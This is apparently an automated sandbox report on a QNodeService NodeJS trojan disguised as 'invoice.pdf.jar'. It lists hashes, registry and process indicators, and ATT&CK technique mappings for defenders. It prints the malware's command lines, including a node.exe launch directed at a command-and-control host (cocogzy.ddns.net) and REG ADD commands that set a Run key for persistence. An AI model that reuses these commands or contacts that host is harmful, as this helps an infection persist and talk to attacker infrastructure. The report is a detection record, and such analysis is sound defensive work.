qnodeservice | e8d0db564e1a959cc6e308980c5b681841c76d28ac976d99579bcc2b9ff7f420

General

Target

invoice.pdf.jar
Size

12KB
MD5

0e50cb4e9b25da899c46b32c503dceef
SHA1

98a5551e4c9a079bf200a45a055210ed5d81868b
SHA256

e8d0db564e1a959cc6e308980c5b681841c76d28ac976d99579bcc2b9ff7f420
SHA512

5c24a2ab5ce9b5bb0e4835b54efaaa67abe1fb1eda10c62d54fbdb899f03aabd9674b215ded76aa01c45662a82e5d9d0ad5ed40879130f6b10dd4f401718d1b3

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 896	3588	java.exe	68
PID 3588 wrote to memory of 896	3588	java.exe	68
PID 896 wrote to memory of 1312	896	node.exe	69
PID 896 wrote to memory of 1312	896	node.exe	69
PID 1312 wrote to memory of 1420	1312	cmd.exe	70
PID 1312 wrote to memory of 1420	1312	cmd.exe	70
PID 896 wrote to memory of 1500	896	node.exe	71
PID 896 wrote to memory of 1500	896	node.exe	71

Loads dropped DLL 4 IoCs

pid	Process
1500	node.exe
1500	node.exe
1500	node.exe
1500	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1500	node.exe
1500	node.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Executes dropped EXE 2 IoCs

pid	Process
896	node.exe
1500	node.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad9b-113.dat	js
behavioral2/files/0x000100000001ad9b-121.dat	js

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfdc-117.dat	family_qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	wtfismyip.com
10	wtfismyip.com

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-b18348b9 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-b18348b9.cmd\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\invoice.pdf.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://cocogzy.ddns.net
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b18348b9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b18348b9.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-b18348b9" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-b18348b9.cmd\""
      4⤵
      Adds Run key to start application
      PID:1420
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://cocogzy.ddns.net
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    - Executes dropped EXE
    PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/896-116-0x0000025D45700000-0x0000025D45701000-memory.dmp

Filesize
4KB

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memory/1500-122-0x0000032CCBAC0000-0x0000032CCBAC1000-memory.dmp

Filesize
4KB

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